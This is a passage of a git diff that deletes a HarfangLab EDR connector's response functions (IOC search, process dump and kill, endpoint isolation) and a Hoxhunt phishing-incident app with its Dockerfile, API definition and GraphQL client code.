['hash', 'md5', 'sha1', 'sha256'] and search_type in ['searchHash', 'searchDriverByHash']: - res = self.search_telemetry(search_type, {'hash': ioc.get('value'), 'limit': limit}) - - if res: - search_result = ioc.copy() - search_result['seach_type'] = search_type - search_result['count'] = res['count'] - search_result['markdown'] = res['markdown'] - search_result['output'] = res['output'] - search_result['message'] = 'OK' - output.append({ - 'IOC Type': ioc.get('type'), - 'IOC Value': ioc.get('value'), - 'Search Type': search_type, - 'Hits count': res['count'], - 'Investigation link': res['link'] - }) - success_count += 1 - results['output'].append(search_result) - except Exception as e: - search_result['message'] = f'Failed to search IOC {ioc.get("value")}: {str(e)}' - exception_count += 1 - results['output'].append(search_result) - - if success_count > 0: - if exception_count: - results['message'] = 'Partially OK' - else: - results['message'] = 'OK' - else: - results['message'] = 'Failed' - - url_keys['Investigation link'] = 'View details' - - results['markdown'] = '' - results['markdown'] += f'### IOC search\n\n' - results['markdown'] += f'#### Synthesis\n\n' - results['markdown'] += get_markdown_from_table( - None, output, headers=['IOC Type', 'IOC Value', 'Search Type', 'Hits count', 'Investigation link'], url_keys=url_keys) - - results['title'] = 'IOC search' - - if format == 'html': - results['html'] = markdown.markdown(results['markdown'], extensions=['tables']) - del(results['markdown']) - - return results - - - def run_job(self, job_name, agent_id, job_title = None, job_description = None, job_timeout = 600, format = 'markdown', request_api_endpoint = None): - """ - Run a HarfangLab job and returns a markdown table with the results - - :type job_name: ``str`` - :param job_name: The job name from the JOBS description to trigger - - :type agent_id: ``str`` - :param agent_id: The agent identifier to run the job on - - :type job_title: ``str`` - :param job_title: The job title - - :type job_description: ``str`` - :param job_description: The job description - - :type job_timeout: ``int`` - :param job_timeout: The job timeout (in seconds) - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :type request_api_endpoint: ``str`` - :param request_api_endpoint: The request api endpoint that override the one defined in the JOBS structure - - :return: A dict with the results with the following keys: 'message' (message associated to the operation), 'output' (the JSON table with the results), 'markdown' (the markdown table) if the output format is mardown or 'html' if the output format is html. - :rtype: ``Dict[str,Any]`` - """ - - result = {} - result['message'] = 'Failed' - result['markdown'] = '' - - job = None - if job_name in HarfangLabConnector.JOBS: - job = HarfangLabConnector.JOBS[job_name] - else: - raise Exception('Unknown service') - - if not agent_id: - raise Exception('No agent identifier provided.') - - """ Create job """ - api_endpoint = None - if request_api_endpoint: - api_endpoint = request_api_endpoint - else: - api_endpoint = job["request_api_endpoint"] - if not api_endpoint: - raise Exception('No API endpoint associated to the job name') - - url = f'{self.base_url}{api_endpoint}' - - data = { - 'title': job_title, - 'description': job_description, - 'targets': {'agents': [agent_id]}, - 'actions': [ - { - 'value': job.get('action', None), - 'params': job.get('parameters', None), - } - ] - } - - try: - response = self.hlSession.post(url=url, json=data) - response.raise_for_status() - data = response.json() - if isinstance(data, list): - if len(data) == 0: - raise Exception( - 'Failed to start job (wrong agent identifier ?)') - job_id = data[0]['id'] - elif isinstance(data, dict): - job_id = data['job_id'] - - except Exception as e: - raise Exception('Failed to start job: %s' % (str(e))) - - """ Get job status """ - url = f'{self.base_url}{job["status_api_endpoint"]}{job_id}/' - - duration = 0 - polling_period = 5 - - while duration < job_timeout: - try: - response = self.hlSession.get(url=url) - response.raise_for_status() - info = response.json() - except Exception as e: - raise Exception('Failed to get job status: %s' % (str(e))) - - status = "running" - - if info['instance'] == info['done']: - status = "finished" - elif info['error'] > 0: - status = "error" - elif info['canceled'] > 0: - status = "canceled" - elif info['waiting'] > 0: - status = "waiting" - elif info['running'] > 0: - status = "running" - elif info['injecting'] > 0: - status = "injecting" - - if status in ['error', 'canceled']: - result['message'] = 'Job execution failed' - result['markdown'] = 'Job execution failed' - return result - if status == 'finished': - time.sleep(polling_period) - break - time.sleep(polling_period) - duration += polling_period - - """ Get Job results """ - fields = [] - for f in job['fields']: - fields.append(f['path']) - fields_str = ','.join(fields) - url = f'{self.base_url}{job["result_api_endpoint"]}?limit=10000&job_id={job_id}&fields={fields_str}' - - if job['ordering'] is not None: - url += f'&ordering={job["ordering"]}' - - try: - retries = 0 - while retries < 3: - response = self.hlSession.get(url=url) - response.raise_for_status() - data = response.json() - if data['count'] > 0: - break - else: - time.sleep(10) - retries += 1 - except Exception as e: - raise Exception('Failed to get job results: %s' % (str(e))) - - output = [] - url_keys = {} - for x in data['results']: - res = {} - for f in job['fields']: - k = f['name'] - if 'is_url' in f: - url_keys[f['name']] = f.get('link_text', None) - - tokens = f['path'].split('.') - v = x - for t in tokens: - if v: - v = v.get(t, None) - else: - v = f['default'] - func = None - if 'transform' in f.keys(): - func = f.get('transform') - v = func(self, v) - res[k] = v - - output.append(res) - - result['message'] = 'OK' - result['output'] = output - result['title'] = job['title'] - - headers = [] - for h in job['fields']: - headers.append(h['name']) - result['markdown'] = get_markdown_from_table( - job['title'], output, headers=headers, url_keys=url_keys) - - if format == 'html': - result['html'] = markdown.markdown(result['markdown'], extensions=['tables']) - del(result['markdown']) - - return result - - def dump_process(self, agent_id, process_uuid, format='markdown', job_timeout = 600): - """ - Dump a process - - :type agent_id: ``str`` - :param agent_id: The agent identifier to run the job on - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :type job_timeout: ``int`` - :param job_timeout: The job timeout (in seconds) - - :return: A dict with the results with the following keys: 'message' (message associated to the operation), 'output' (the JSON table with the results), 'markdown' (the markdown table). - :rtype: ``Dict[str,Any]`` - """ - return self.run_job('dumpProcess', agent_id, job_timeout, format, f'/api/data/telemetry/Processes/{process_uuid}/requestDumpProcess/') - - def kill_process(self, agent_id, process_uuid, format = 'markdown', job_timeout = 600): - """ - Kill a process - - :type agent_id: ``str`` - :param agent_id: The agent identifier to run the job on - - :type process_uuid: ``str`` - :param process_uuid: The process unique identifier (as defined in the HarfangLab EDR Manager) - - :type format: ``str`` - :param format: The output format (either 'mardown' or 'html') - - :type job_timeout: ``int`` - :param job_timeout: The job timeout (in seconds) - - :return: A dict with the results with the following keys: 'message' (message associated to the operation), 'output' (the JSON table with the results), 'markdown' (the markdown table). - :rtype: ``Dict[str,Any]`` - """ - return self.run_job('killProcess', agent_id, job_timeout, format, f'/api/data/telemetry/Processes/{process_uuid}/requestKillProcess/') - - def list_sources(self, source_type, source_name=None): - ''' - List existing Threat Intelligence sources - - :param source_type: Source type - - :param source_name: Source name - - :returns A list of sources matching input criteria - ''' - data = {} - - if source_name: - data['search'] = source_name - - if source_type == 'yara': - url_suffix = '/api/data/threat_intelligence/YaraSource/' - elif source_type == 'sigma': - url_suffix = '/api/data/threat_intelligence/SigmaSource/' - elif source_type == 'ioc': - url_suffix = '/api/data/threat_intelligence/IOCSource/' - - url = f'{self.base_url}{url_suffix}' - - try: - response = self.hlSession.get(url, params=data) - response.raise_for_status() - except Exception as e: - raise Exception(f'Failed to list sources: %s' % (str(e))) - - return response.json()['results'] - - def get_ioc(self, ioc_value, source_id): - ''' - Get an IOC in a source identified by its id - - :param ioc_value: IOC value to search - - :param source_id: Identifier of the Threat Intelligence source - - :returns: true if IOC exists, else false. - ''' - data = { - 'source_id': source_id, - 'search': ioc_value - } - - url = f'{self.base_url}/api/data/threat_intelligence/IOCRule/' - try: - response = self.hlSession.get(url, params=data) - response.raise_for_status() - except Exception as e: - raise Exception(f'Failed to search IOC {ioc_value}: %s' % (str(e))) - results = response.json() - - if results['count'] > 0: - for ioc in results['results']: - if ioc['value'] == ioc_value: - return ioc - return None - - def add_ioc_to_source(self, ioc_value, ioc_type, ioc_comment, ioc_status, source_name): - ''' - Add an IOC to a Threat Intelligence source - - :param ioc_value: IOC value - - :param ioc_type: IOC type (ip, hash, filename...) - - :param ioc_comment: Comment associated to an IOC - - :param source_name: Name of the Threat Intelligence source to add the IOC to - ''' - - try: - results = self.list_sources(source_type='ioc', source_name=source_name) - except Exception as e: - raise Exception(f'Failed to list sources and identify {source_name}: %s' % (str(e))) - - source_id = None - - for source in results: - self.logger.debug(f'Found source {source["name"]}') - if source['name'] == source_name: - source_id = source['id'] - - self.logger.debug(f'Searching for IOC') - if self.get_ioc(ioc_value, source_id): - return - else: - - testing_status = None - - if ioc_status == 'testing': - testing_status = 'in_progress' - - port = None - if ioc_type[0:2] == 'ip': - res = ioc_value.split('|') - if len(res) >= 2: - ioc_value = res[0] - port = res[1] - - data = { - 'type': ioc_type, - 'value': ioc_value, - 'port': port, - 'comment': ioc_comment, - 'source_id': source_id, - 'hl_status': ioc_status, - 'hl_local_testing_status': testing_status - } - - url = f'{self.base_url}/api/data/threat_intelligence/IOCRule/' - - self.logger.debug(f'Adding for IOC') - - try: - response = self.hlSession.post(url, json=data) - response.raise_for_status() - self.logger.debug(f'IOC added') - except Exception as e: - raise Exception(f'Failed to add IOC {ioc_value} to source {source_id}: %s' % (str(e))) - - def change_security_event_status(self, security_event_id, status): - ''' - Change the status of a security event - - :param security_event_id: Security Event ID or list of IDs - - :param status: The security event status ('New', 'Investigating', 'False Positive' or 'Closed' - ''' - - try: - url = f'{self.base_url}/api/data/alert/alert/Alert/tag/' - - data = {} # type: Dict[str,Any] - - if isinstance(security_event_id, list): - data['ids'] = security_event_id - else: - data['ids'] = [security_event_id] - - if status.lower() == 'new': - data['new_status'] = 'new' - elif status.lower() == 'investigating': - data['new_status'] = 'investigating' - elif status.lower() == 'false positive' or status.lower() == 'false_positive': - data['new_status'] = 'false_positive' - elif status.lower() == 'closed': - data['new_status'] = 'closed' - else: - raise Exception('Status must be either new, investigating, false_positive or closed') - - response = self.hlSession.post(url=url, json=data) - response.raise_for_status() - - except Exception as e: - raise Exception(f'Failed to change security event status: %s' % (str(e))) - - def isolate_endpoint(self, agent_id): - ''' - Isolate an endpoint - - :param agent_id: Agent identifier - - :return: A string with the result message - ''' - url = f'{self.base_url}/api/data/endpoint/Agent/{agent_id}/isolate/' - - if not agent_id: - raise Exception( - 'No agent Id provided') - - try: - response = self.hlSession.post(url=url) - if response.status_code != 200: - raise Exception( - f'Failed to isolate host {agent_id}: {response.status_code} ({response.reason})') - else: - """ - Isolation has successfully been requested. We need to check that the policy allows isolation. - """ - if len(response.json().get('policy_not_allowed', [])) > 0: - raise Exception( - f'Unable to isolate host {agent_id} since isolation is not allowed in the policy.') - - """ - Isolation has successfully been requested and policy allows isolation. We need to check when isolation is effective. - """ - polling_period = 2 - sleep_time = 60 - - duration = 0 - while duration < 3 * sleep_time: - - url = f'{self.base_url}/api/data/endpoint/Agent/{agent_id}/' - response = self.hlSession.get(url=url) - if response.status_code != 200: - raise Exception( - f'Failed to get agent\'s status for host {agent_id}: {response.status_code} ({response.reason})') - else: - sleep_time = int(response.json().get( - 'policy', {}).get('sleeptime', 60)) * 2 - isolation_state = response.json().get('isolation_state') - - if isolation_state: - return f'Host {agent_id} successfully isolated' - else: - duration += polling_period - time.sleep(polling_period) - raise Exception( - f'Host isolation successfully requested but host never switched to an isolated state...') - - except requests.exceptions.RequestException as e: - raise Exception(e) - - def unisolate_endpoint(self, agent_id): - ''' - Unisolate an endpoint - - :param agent_id: Agent identifier - - :return: A string with the result message - ''' - - url = f'{self.base_url}/api/data/endpoint/Agent/{agent_id}/deisolate/' - - if not agent_id: - raise Exception( - 'No agent Id provided') - - try: - response = self.hlSession.post(url=url) - if response.status_code != 200: - raise Exception( - f'Failed to unisolate host {agent_id}: {response.status_code} ({response.reason})') - else: - - """ - Unisolation has successfully been requested. We need to check when unisolation is effective. - """ - polling_period = 2 - sleep_time = 60 - - duration = 0 - while duration < 3 * sleep_time: - - url = f'{self.base_url}/api/data/endpoint/Agent/{agent_id}/' - response = self.hlSession.get(url=url) - if response.status_code != 200: - raise Exception( - f'Failed to get agent\'s status for host {agent_id}: {response.status_code} ({response.reason})') - else: - sleep_time = int(response.json().get( - 'policy', {}).get('sleeptime', 60))*2 - isolation_state = response.json().get('isolation_state') - - if not isolation_state: - return f'Host {agent_id} successfully unisolated' - - else: - duration += polling_period - time.sleep(polling_period) - raise Exception( - f'Host unisolation successfully requested but host never switched to an unisolated state...') - - except requests.exceptions.RequestException as e: - raise Exception(e) diff --git a/hoxhunt/1.0.0/Dockerfile b/hoxhunt/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/hoxhunt/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/hoxhunt/1.0.0/api.yaml b/hoxhunt/1.0.0/api.yaml deleted file mode 100644 index 0e21d562..00000000 --- a/hoxhunt/1.0.0/api.yaml +++ /dev/null @@ -1,165 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: hoxhunt -description: Hoxhunt app interface -tags: - - email -categories: - - email -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -tags: - - Email - - Phishing -categories: - - Phishing -authentication: - required: true - parameters: - - name: apikey - description: The apikey to use for the API - multiline: false - example: "meteor-LsShkYxhQisn1ucfMI7c1CbkMC3wX7rnIZ02I8FwVXZ" - required: true - schema: - type: string - - name: organization_id - description: Your organization's ID - multiline: false - example: "sk9JHBGPDPiQ6NQZ4" - required: true - schema: - type: string -actions: - - name: list_incidents - description: Get hoxhunt incidents of a given status - parameters: - - name: apikey - description: The apikey to use for the API - multiline: false - example: "meteor-LsShkYxhQisn1ucfMI7c1CbkMC3wX7rnIZ02I8FwVXZ" - required: true - schema: - type: string - - name: organization_id - description: Your organization's ID - multiline: false - example: "sk9JHBGPDPiQ6NQZ4" - required: true - schema: - type: string - - name: state - description: The state to look for. Defaults to OPEN - multiline: false - example: "OPEN" - required: false - schema: - type: string - - name: limit - description: The maximum amount to get - multiline: false - example: "100" - required: false - schema: - type: string - returns: - schema: - type: string - - name: get_incident - description: Get a hoxhunt incidents with details - parameters: - - name: apikey - description: The apikey to use for the API - multiline: false - example: "meteor-LsShkYxhQisn1ucfMI7c1CbkMC3wX7rnIZ02I8FwVXZ" - required: true - schema: - type: string - - name: organization_id - description: Your organization's ID - multiline: false - example: "sk9JHBGPDPiQ6NQZ4" - required: true - schema: - type: string - - name: incident_id - description: The id to look for. - multiline: false - example: "e.g. RESOLVED or OPEN" - required: true - schema: - type: string - returns: - schema: - type: string - - name: change_incident_status - description: Get a hoxhunt incidents with details - parameters: - - name: apikey - description: The apikey to use for the API - multiline: false - example: "meteor-LsShkYxhQisn1ucfMI7c1CbkMC3wX7rnIZ02I8FwVXZ" - required: true - schema: - type: string - - name: organization_id - description: Your organization's ID - multiline: false - example: "sk9JHBGPDPiQ6NQZ4" - required: true - schema: - type: string - - name: incident_id - description: The id to look for - multiline: false - example: "1234" - required: true - schema: - type: string - - name: state - description: The state to look for. Defaults to OPEN - multiline: false - example: "RESOLVED" - required: true - schema: - type: string - returns: - schema: - type: string - - name: list_threats - description: Get hoxhunt threats of a given status - parameters: - - name: apikey - description: The apikey to use for the API - multiline: false - example: "meteor-LsShkYxhQisn1ucfMI7c1CbkMC3wX7rnIZ02I8FwVXZ" - required: true - schema: - type: string - - name: organization_id - description: Your organization's ID - multiline: false - example: "sk9JHBGPDPiQ6NQZ4" - required: true - schema: - type: string - - name: state - description: The state to look for. Defaults to OPEN - multiline: false - example: "OPEN" - required: false - schema: - type: string - - name: limit - description: The maximum amount to get - multiline: false - example: "100" - required: false - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/hoxhunt/1.0.0/requirements.txt b/hoxhunt/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/hoxhunt/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/hoxhunt/1.0.0/src/app.py b/hoxhunt/1.0.0/src/app.py deleted file mode 100755 index d3d1dc0f..00000000 --- a/hoxhunt/1.0.0/src/app.py +++ /dev/null @@ -1,128 +0,0 @@ -import time -import json -import random -import socket -import asyncio -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Hoxhunt(AppBase): - __version__ = "1.0.0" - app_name = "hoxhunt" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def get_incident(self, apikey, organization_id, incident_id): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - - data = { - "operationName":"IncidentDetailsContainerQuery", - "variables": {"incidentId": incident_id,"organizationId": organization_id}, - "query": "query IncidentDetailsContainerQuery($incidentId: ID!, $organizationId: ID, $createdBefore: Date) {\n incidents(filter: {_id_eq: $incidentId, organizationId_eq: $organizationId}) {\n _id\n organizationId\n createdAt\n policyName\n state\n threatCount\n threats(sort: createdAt_DESC, first: 50, filter: {createdAt_lte: $createdBefore}) {\n _id\n createdAt\n email {\n subject\n from {\n address\n __typename\n }\n __typename\n }\n reporterUser {\n _id\n emails {\n address\n __typename\n }\n __typename\n }\n userModifiers {\n userActedOnThreat\n repliedToEmail\n downloadedFile\n openedAttachment\n visitedLink\n enteredCredentials\n other\n __typename\n }\n __typename\n }\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - def change_incident_status(self, apikey, organization_id, incident_id, state): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - - data = { - "operationName":"UpdateIncidentState", - "variables":{"incidentId": incident_id,"organizationId": organization_id,"state": state}, - "query":"mutation UpdateIncidentState($incidentId: ID!, $organizationId: ID!, $state: IncidentState!) {\n updateIncidentState(incidentId: $incidentId, organizationId: $organizationId, state: $state) {\n _id\n state\n __typename\n }\n}\n" - } - - return requests.post(url, headers=headers, json=data) - - def list_incidents(self, apikey, organization_id, state="OPEN", limit=50): - url = "https://app.hoxhunt.com/graphql" - headers = { - "authorization": apikey, - "content-type": "application/json", - } - 